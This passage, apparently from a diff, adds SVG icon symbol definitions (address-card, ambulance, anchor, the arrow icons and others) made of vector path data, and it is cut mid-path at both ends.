375.4 96 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"></path> + </symbol> + <symbol id="address-card" viewBox="0 0 576 512"> + <path d="M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-352 96c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H86.4C74 384 64 375.4 64 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2zM512 312c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z"></path> + </symbol> + <symbol id="adjust" viewBox="0 0 512 512"> + <path d="M8 256c0 136.966 111.033 248 248 248s248-111.034 248-248S392.966 8 256 8 8 119.033 8 256zm248 184V72c101.705 0 184 82.311 184 184 0 101.705-82.311 184-184 184z"></path> + </symbol> + <symbol id="air-freshener" viewBox="0 0 512 512"> + <path d="M224 160H96C43 160 0 203 0 256V480C0 497.625 14.375 512 32 512H288C305.625 512 320 497.625 320 480V256C320 203 277 160 224 160ZM160 416C115.875 416 80 380.125 80 336S115.875 256 160 256S240 291.875 240 336S204.125 416 160 416ZM224 32C224 14.375 209.625 0 192 0H128C110.375 0 96 14.375 96 32V128H224V32ZM381.781 51.578C383 50.969 384 49.359 384 48C384 46.625 383 45.031 381.781 44.422L352 32L339.562 2.219C338.969 1 337.375 0 336 0S333.031 1 332.406 2.219L320 32L290.219 44.422C289 45.031 288 46.625 288 48C288 49.359 289 50.969 290.219 51.578L320 64L332.406 93.781C333.031 95 334.625 96 336 96S338.969 95 339.562 93.781L352 64L381.781 51.578ZM448 64L460.406 93.781C461.031 95 462.625 96 464 96S466.969 95 467.562 93.781L480 64L509.781 51.578C511 50.969 512 49.359 512 48C512 46.625 511 45.031 509.781 44.422L480 32L467.562 2.219C466.969 1 465.375 0 464 0S461.031 1 460.406 2.219L448 32L418.219 44.422C417 45.031 416 46.625 416 48C416 49.359 417 50.969 418.219 51.578L448 64ZM480 224L467.562 194.219C466.969 193 465.375 192 464 192S461.031 193 460.406 194.219L448 224L418.219 236.422C417 237.031 416 238.625 416 240C416 241.359 417 242.969 418.219 243.578L448 256L460.406 285.781C461.031 287 462.625 288 464 288S466.969 287 467.562 285.781L480 256L509.781 243.578C511 242.969 512 241.359 512 240C512 238.625 511 237.031 509.781 236.422L480 224ZM445.781 147.578C447 146.969 448 145.359 448 144C448 142.625 447 141.031 445.781 140.422L416 128L403.562 98.219C402.969 97 401.375 96 400 96S397.031 97 396.406 98.219L384 128L354.219 140.422C353 141.031 352 142.625 352 144C352 145.359 353 146.969 354.219 147.578L384 160L396.406 189.781C397.031 191 398.625 192 400 192S402.969 191 403.562 189.781L416 160L445.781 147.578Z"></path> + </symbol> + <symbol id="align-center" viewBox="0 0 448 512"> + <path d="M432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM108.1 96h231.81A12.09 12.09 0 0 0 352 83.9V44.09A12.09 12.09 0 0 0 339.91 32H108.1A12.09 12.09 0 0 0 96 44.09V83.9A12.1 12.1 0 0 0 108.1 96zm231.81 256A12.09 12.09 0 0 0 352 339.9v-39.81A12.09 12.09 0 0 0 339.91 288H108.1A12.09 12.09 0 0 0 96 300.09v39.81a12.1 12.1 0 0 0 12.1 12.1z"></path> + </symbol> + <symbol id="align-justify" viewBox="0 0 448 512"> + <path d="M432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="align-left" viewBox="0 0 448 512"> + <path d="M12.83 352h262.34A12.82 12.82 0 0 0 288 339.17v-38.34A12.82 12.82 0 0 0 275.17 288H12.83A12.82 12.82 0 0 0 0 300.83v38.34A12.82 12.82 0 0 0 12.83 352zm0-256h262.34A12.82 12.82 0 0 0 288 83.17V44.83A12.82 12.82 0 0 0 275.17 32H12.83A12.82 12.82 0 0 0 0 44.83v38.34A12.82 12.82 0 0 0 12.83 96zM432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="align-right" viewBox="0 0 448 512"> + <path d="M16 224h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm416 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-384H172.83A12.82 12.82 0 0 0 160 44.83v38.34A12.82 12.82 0 0 0 172.83 96h262.34A12.82 12.82 0 0 0 448 83.17V44.83A12.82 12.82 0 0 0 435.17 32zm0 256H172.83A12.82 12.82 0 0 0 160 300.83v38.34A12.82 12.82 0 0 0 172.83 352h262.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288z"></path> + </symbol> + <symbol id="allergies" viewBox="0 0 448 512"> + <path d="M416 112c-17.6 0-32 14.4-32 32v72c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32s-32 14.4-32 32v152c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V32c0-17.6-14.4-32-32-32s-32 14.4-32 32v184c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32S96 46.4 96 64v241l-23.6-32.5c-13-17.9-38-21.8-55.9-8.8s-21.8 38-8.8 55.9l125.6 172.7c9 12.4 23.5 19.8 38.8 19.8h197.6c22.3 0 41.6-15.3 46.7-37l26.5-112.7c3.2-13.7 4.9-28.3 5.1-42.3V144c0-17.6-14.4-32-32-32zM176 416c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 32c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32-128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"></path> + </symbol> + <symbol id="ambulance" viewBox="0 0 640 512"> + <path d="M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144-248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm176 248c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"></path> + </symbol> + <symbol id="american-sign-language-interpreting" viewBox="0 0 640 512"> + <path d="M290.547 189.039c-20.295-10.149-44.147-11.199-64.739-3.89 42.606 0 71.208 20.475 85.578 50.576 8.576 17.899-5.148 38.071-23.617 38.071 18.429 0 32.211 20.136 23.617 38.071-14.725 30.846-46.123 50.854-80.298 50.854-.557 0-94.471-8.615-94.471-8.615l-66.406 33.347c-9.384 4.693-19.815.379-23.895-7.781L1.86 290.747c-4.167-8.615-1.111-18.897 6.946-23.621l58.072-33.069L108 159.861c6.39-57.245 34.731-109.767 79.743-146.726 11.391-9.448 28.341-7.781 37.51 3.613 9.446 11.394 7.78 28.067-3.612 37.516-12.503 10.559-23.618 22.509-32.509 35.57 21.672-14.729 46.679-24.732 74.186-28.067 14.725-1.945 28.063 8.336 29.73 23.065 1.945 14.728-8.336 28.067-23.062 29.734-16.116 1.945-31.12 7.503-44.178 15.284 26.114-5.713 58.712-3.138 88.079 11.115 13.336 6.669 18.893 22.509 12.224 35.848-6.389 13.06-22.504 18.617-35.564 12.226zm-27.229 69.472c-6.112-12.505-18.338-20.286-32.231-20.286a35.46 35.46 0 0 0-35.565 35.57c0 21.428 17.808 35.57 35.565 35.57 13.893 0 26.119-7.781 32.231-20.286 4.446-9.449 13.614-15.006 23.339-15.284-9.725-.277-18.893-5.835-23.339-15.284zm374.821-37.237c4.168 8.615 1.111 18.897-6.946 23.621l-58.071 33.069L532 352.16c-6.39 57.245-34.731 109.767-79.743 146.726-10.932 9.112-27.799 8.144-37.51-3.613-9.446-11.394-7.78-28.067 3.613-37.516 12.503-10.559 23.617-22.509 32.508-35.57-21.672 14.729-46.679 24.732-74.186 28.067-10.021 2.506-27.552-5.643-29.73-23.065-1.945-14.728 8.336-28.067 23.062-29.734 16.116-1.946 31.12-7.503 44.178-15.284-26.114 5.713-58.712 3.138-88.079-11.115-13.336-6.669-18.893-22.509-12.224-35.848 6.389-13.061 22.505-18.619 35.565-12.227 20.295 10.149 44.147 11.199 64.739 3.89-42.606 0-71.208-20.475-85.578-50.576-8.576-17.899 5.148-38.071 23.617-38.071-18.429 0-32.211-20.136-23.617-38.071 14.033-29.396 44.039-50.887 81.966-50.854l92.803 8.615 66.406-33.347c9.408-4.704 19.828-.354 23.894 7.781l44.455 88.926zm-229.227-18.618c-13.893 0-26.119 7.781-32.231 20.286-4.446 9.449-13.614 15.006-23.339 15.284 9.725.278 18.893 5.836 23.339 15.284 6.112 12.505 18.338 20.286 32.231 20.286a35.46 35.46 0 0 0 35.565-35.57c0-21.429-17.808-35.57-35.565-35.57z"></path> + </symbol> + <symbol id="anchor" viewBox="0 0 576 512"> + <path d="M12.971 352h32.394C67.172 454.735 181.944 512 288 512c106.229 0 220.853-57.38 242.635-160h32.394c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0l-67.029 67.029c-7.56 7.56-2.206 20.485 8.485 20.485h35.146c-20.29 54.317-84.963 86.588-144.117 94.015V256h52c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-52v-5.47c37.281-13.178 63.995-48.725 64-90.518C384.005 43.772 341.605.738 289.37.01 235.723-.739 192 42.525 192 96c0 41.798 26.716 77.35 64 90.53V192h-52c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v190.015c-58.936-7.399-123.82-39.679-144.117-94.015h35.146c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0L4.485 331.515C-3.074 339.074 2.28 352 12.971 352zM288 64c17.645 0 32 14.355 32 32s-14.355 32-32 32-32-14.355-32-32 14.355-32 32-32z"></path> + </symbol> + <symbol id="angle-double-down" viewBox="0 0 320 512"> + <path d="M143 256.3L7 120.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0L313 86.3c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.4 9.5-24.6 9.5-34 .1zm34 192l136-136c9.4-9.4 9.4-24.6 0-33.9l-22.6-22.6c-9.4-9.4-24.6-9.4-33.9 0L160 352.1l-96.4-96.4c-9.4-9.4-24.6-9.4-33.9 0L7 278.3c-9.4 9.4-9.4 24.6 0 33.9l136 136c9.4 9.5 24.6 9.5 34 .1z"></path> + </symbol> + <symbol id="angle-double-left" viewBox="0 0 448 512"> + <path d="M223.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L319.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L393.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34zm-192 34l136 136c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9L127.9 256l96.4-96.4c9.4-9.4 9.4-24.6 0-33.9L201.7 103c-9.4-9.4-24.6-9.4-33.9 0l-136 136c-9.5 9.4-9.5 24.6-.1 34z"></path> + </symbol> + <symbol id="angle-double-right" viewBox="0 0 448 512"> + <path d="M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34zm192-34l-136-136c-9.4-9.4-24.6-9.4-33.9 0l-22.6 22.6c-9.4 9.4-9.4 24.6 0 33.9l96.4 96.4-96.4 96.4c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l136-136c9.4-9.2 9.4-24.4 0-33.8z"></path> + </symbol> + <symbol id="angle-double-up" viewBox="0 0 320 512"> + <path d="M177 255.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 351.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 425.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1zm-34-192L7 199.7c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l96.4-96.4 96.4 96.4c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9l-136-136c-9.2-9.4-24.4-9.4-33.8 0z"></path> + </symbol> + <symbol id="angle-down" viewBox="0 0 320 512"> + <path d="M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"></path> + </symbol> + <symbol id="angle-left" viewBox="0 0 256 512"> + <path d="M31.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L127.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L201.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34z"></path> + </symbol> + <symbol id="angle-right" viewBox="0 0 256 512"> + <path d="M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34z"></path> + </symbol> + <symbol id="angle-up" viewBox="0 0 320 512"> + <path d="M177 159.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 255.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 329.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1z"></path> + </symbol> + <symbol id="angry" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 240c0-9.3 4.1-17.5 10.5-23.4l-31-9.3c-8.5-2.5-13.3-11.5-10.7-19.9 2.5-8.5 11.4-13.2 19.9-10.7l80 24c8.5 2.5 13.3 11.5 10.7 19.9-2.1 6.9-8.4 11.4-15.3 11.4-.5 0-1.1-.2-1.7-.2.7 2.7 1.7 5.3 1.7 8.2 0 17.7-14.3 32-32 32S136 257.7 136 240zm168 154.2c-27.8-33.4-84.2-33.4-112.1 0-13.5 16.3-38.2-4.2-24.6-20.5 20-24 49.4-37.8 80.6-37.8s60.6 13.8 80.6 37.8c13.8 16.5-11.1 36.6-24.5 20.5zm76.6-186.9l-31 9.3c6.3 5.8 10.5 14.1 10.5 23.4 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-2.9.9-5.6 1.7-8.2-.6.1-1.1.2-1.7.2-6.9 0-13.2-4.5-15.3-11.4-2.5-8.5 2.3-17.4 10.7-19.9l80-24c8.4-2.5 17.4 2.3 19.9 10.7 2.5 8.5-2.3 17.4-10.8 19.9z"></path> + </symbol> + <symbol id="ankh" viewBox="0 0 320 512"> + <path d="M296 256h-44.62C272.46 222.01 288 181.65 288 144 288 55.63 230.69 0 160 0S32 55.63 32 144c0 37.65 15.54 78.01 36.62 112H24c-13.25 0-24 10.74-24 24v32c0 13.25 10.75 24 24 24h96v152c0 13.25 10.75 24 24 24h32c13.25 0 24-10.75 24-24V336h96c13.25 0 24-10.75 24-24v-32c0-13.26-10.75-24-24-24zM160 80c29.61 0 48 24.52 48 64 0 34.66-27.14 78.14-48 100.87-20.86-22.72-48-66.21-48-100.87 0-39.48 18.39-64 48-64z"></path> + </symbol> + <symbol id="apple-alt" viewBox="0 0 448 512"> + <path d="M350.85 129c25.97 4.67 47.27 18.67 63.92 42 14.65 20.67 24.64 46.67 29.96 78 4.67 28.67 4.32 57.33-1 86-7.99 47.33-23.97 87-47.94 119-28.64 38.67-64.59 58-107.87 58-10.66 0-22.3-3.33-34.96-10-8.66-5.33-18.31-8-28.97-8s-20.3 2.67-28.97 8c-12.66 6.67-24.3 10-34.96 10-43.28 0-79.23-19.33-107.87-58-23.97-32-39.95-71.67-47.94-119-5.32-28.67-5.67-57.33-1-86 5.32-31.33 15.31-57.33 29.96-78 16.65-23.33 37.95-37.33 63.92-42 15.98-2.67 37.95-.33 65.92 7 23.97 6.67 44.28 14.67 60.93 24 16.65-9.33 36.96-17.33 60.93-24 27.98-7.33 49.96-9.67 65.94-7zm-54.94-41c-9.32 8.67-21.65 15-36.96 19-10.66 3.33-22.3 5-34.96 5l-14.98-1c-1.33-9.33-1.33-20 0-32 2.67-24 10.32-42.33 22.97-55 9.32-8.67 21.65-15 36.96-19 10.66-3.33 22.3-5 34.96-5l14.98 1 1 15c0 12.67-1.67 24.33-4.99 35-3.99 15.33-10.31 27.67-18.98 37z"></path> + </symbol> + <symbol id="archive" viewBox="0 0 512 512"> + <path d="M32 448c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V160H32v288zm160-212c0-6.6 5.4-12 12-12h104c6.6 0 12 5.4 12 12v8c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-8zM480 32H32C14.3 32 0 46.3 0 64v48c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16V64c0-17.7-14.3-32-32-32z"></path> + </symbol> + <symbol id="archway" viewBox="0 0 576 512"> + <path d="M560 448h-16V96H32v352H16.02c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16H176c8.84 0 16-7.16 16-16V320c0-53.02 42.98-96 96-96s96 42.98 96 96l.02 160v16c0 8.84 7.16 16 16 16H560c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm0-448H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h544c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="arrow-alt-circle-down" viewBox="0 0 512 512"> + <path d="M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM212 140v116h-70.9c-10.7 0-16.1 13-8.5 20.5l114.9 114.3c4.7 4.7 12.2 4.7 16.9 0l114.9-114.3c7.6-7.6 2.2-20.5-8.5-20.5H300V140c0-6.6-5.4-12-12-12h-64c-6.6 0-12 5.4-12 12z"></path> + </symbol> + <symbol id="arrow-alt-circle-left" viewBox="0 0 512 512"> + <path d="M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm116-292H256v-70.9c0-10.7-13-16.1-20.5-8.5L121.2 247.5c-4.7 4.7-4.7 12.2 0 16.9l114.3 114.9c7.6 7.6 20.5 2.2 20.5-8.5V300h116c6.6 0 12-5.4 12-12v-64c0-6.6-5.4-12-12-12z"></path> + </symbol> + <symbol id="arrow-alt-circle-right" viewBox="0 0 512 512"> + <path d="M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zM140 300h116v70.9c0 10.7 13 16.1 20.5 8.5l114.3-114.9c4.7-4.7 4.7-12.2 0-16.9l-114.3-115c-7.6-7.6-20.5-2.2-20.5 8.5V212H140c-6.6 0-12 5.4-12 12v64c0 6.6 5.4 12 12 12z"></path> + </symbol> + <symbol id="arrow-alt-circle-up" viewBox="0 0 512 512"> + <path d="M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm292 116V256h70.9c10.7 0 16.1-13 8.5-20.5L264.5 121.2c-4.7-4.7-12.2-4.7-16.9 0l-115 114.3c-7.6 7.6-2.2 20.5 8.5 20.5H212v116c0 6.6 5.4 12 12 12h64c6.6 0 12-5.4 12-12z"></path> + </symbol> + <symbol id="arrow-circle-down" viewBox="0 0 512 512"> + <path d="M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-143.6-28.9L288 302.6V120c0-13.3-10.7-24-24-24h-16c-13.3 0-24 10.7-24 24v182.6l-72.4-75.5c-9.3-9.7-24.8-9.9-34.3-.4l-10.9 11c-9.4 9.4-9.4 24.6 0 33.9L239 404.3c9.4 9.4 24.6 9.4 33.9 0l132.7-132.7c9.4-9.4 9.4-24.6 0-33.9l-10.9-11c-9.5-9.5-25-9.3-34.3.4z"></path> + </symbol> + <symbol id="arrow-circle-left" viewBox="0 0 512 512"> + <path d="M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm28.9-143.6L209.4 288H392c13.3 0 24-10.7 24-24v-16c0-13.3-10.7-24-24-24H209.4l75.5-72.4c9.7-9.3 9.9-24.8.4-34.3l-11-10.9c-9.4-9.4-24.6-9.4-33.9 0L107.7 239c-9.4 9.4-9.4 24.6 0 33.9l132.7 132.7c9.4 9.4 24.6 9.4 33.9 0l11-10.9c9.5-9.5 9.3-25-.4-34.3z"></path> + </symbol> + <symbol id="arrow-circle-right" viewBox="0 0 512 512"> + <path d="M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm-28.9 143.6l75.5 72.4H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h182.6l-75.5 72.4c-9.7 9.3-9.9 24.8-.4 34.3l11 10.9c9.4 9.4 24.6 9.4 33.9 0L404.3 273c9.4-9.4 9.4-24.6 0-33.9L271.6 106.3c-9.4-9.4-24.6-9.4-33.9 0l-11 10.9c-9.5 9.6-9.3 25.1.4 34.4z"></path> + </symbol> + <symbol id="arrow-circle-up" viewBox="0 0 512 512"> + <path d="M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm143.6 28.9l72.4-75.5V392c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V209.4l72.4 75.5c9.3 9.7 24.8 9.9 34.3.4l10.9-11c9.4-9.4 9.4-24.6 0-33.9L273 107.7c-9.4-9.4-24.6-9.4-33.9 0L106.3 240.4c-9.4 9.4-9.4 24.6 0 33.9l10.9 11c9.6 9.5 25.1 9.3 34.4-.4z"></path> + </symbol> + <symbol id="arrow-down" viewBox="0 0 448 512"> + <path d="M413.1 222.5l22.2 22.2c9.4 9.4 9.4 24.6 0 33.9L241 473c-9.4 9.4-24.6 9.4-33.9 0L12.7 278.6c-9.4-9.4-9.4-24.6 0-33.9l22.2-22.2c9.5-9.5 25-9.3 34.3.4L184 343.4V56c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24v287.4l114.8-120.5c9.3-9.8 24.8-10 34.3-.4z"></path> + </symbol> + <symbol id="arrow-left" viewBox="0 0 448 512"> + <path d="M257.5 445.1l-22.2 22.2c-9.4 9.4-24.6 9.4-33.9 0L7 273c-9.4-9.4-9.4-24.6 0-33.9L201.4 44.7c9.4-9.4 24.6-9.4 33.9 0l22.2 22.2c9.5 9.5 9.3 25-.4 34.3L136.6 216H424c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24H136.6l120.5 114.8c9.8 9.3 10 24.8.4 34.3z"></path> + </symbol> + <symbol id="arrow-right" viewBox="0 0 448 512"> + <path d="M190.5 66.9l22.2-22.2c9.4-9.4 24.6-9.4 33.9 0L441 239c9.4 9.4 9.4 24.6 0 33.9L246.6 467.3c-9.4 9.4-24.6 9.4-33.9 0l-22.2-22.2c-9.5-9.5-9.3-25 .4-34.3L311.4 296H24c-13.3 0-24-10.7-24-24v-32c0-13.3 10.7-24 24-24h287.4L190.9 101.2c-9.8-9.3-10-24.8-.4-34.3z"></path> + </symbol> + <symbol id="arrow-up" viewBox="0 0 448 512"> + <path d="M34.9 289.5l-22.2-22.2c-9.4-9.4-9.4-24.6 0-33.9L207 39c9.4-9.4 24.6-9.4 33.9 0l194.3 194.3c9.4 9.4 9.4 24.6 0 33.9L413 289.4c-9.5 9.5-25 9.3-34.3-.4L264 168.6V456c0 13.3-10.7 24-24 24h-32c-13.3 0-24-10.7-24-24V168.6L69.2 289.1c-9.3 9.8-24.8 10-34.3.4z"></path> + </symbol> + <symbol id="arrows-alt" viewBox="0 0 512 512"> + <path d="M352.201 425.775l-79.196 79.196c-9.373 9.373-24.568 9.373-33.941 0l-79.196-79.196c-15.119-15.119-4.411-40.971 16.971-40.97h51.162L228 284H127.196v51.162c0 21.382-25.851 32.09-40.971 16.971L7.029 272.937c-9.373-9.373-9.373-24.569 0-33.941L86.225 159.8c15.119-15.119 40.971-4.411 40.971 16.971V228H228V127.196h-51.23c-21.382 0-32.09-25.851-16.971-40.971l79.196-79.196c9.373-9.373 24.568-9.373 33.941 0l79.196 79.196c15.119 15.119 4.411 40.971-16.971 40.971h-51.162V228h100.804v-51.162c0-21.382 25.851-32.09 40.97-16.971l79.196 79.196c9.373 9.373 9.373 24.569 0 33.941L425.773 352.2c-15.119 15.119-40.971 4.411-40.97-16.971V284H284v100.804h51.23c21.382 0 32.09 25.851 16.971 40.971z"></path> + </symbol> + <symbol id="arrows-alt-h" viewBox="0 0 512 512"> + <path d="M377.941 169.941V216H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.568 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296h243.882v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.568 0-33.941l-86.059-86.059c-15.119-15.12-40.971-4.412-40.971 16.97z"></path> + </symbol> + <symbol id="arrows-alt-v" viewBox="0 0 256 512"> + <path d="M214.059 377.941H168V134.059h46.059c21.382 0 32.09-25.851 16.971-40.971L144.971 7.029c-9.373-9.373-24.568-9.373-33.941 0L24.971 93.088c-15.119 15.119-4.411 40.971 16.971 40.971H88v243.882H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.568 9.373 33.941 0l86.059-86.059c15.12-15.119 4.412-40.971-16.97-40.971z"></path> + </symbol> + <symbol id="assistive-listening-systems" viewBox="0 0 512 512"> + <path d="M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm-80 236c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 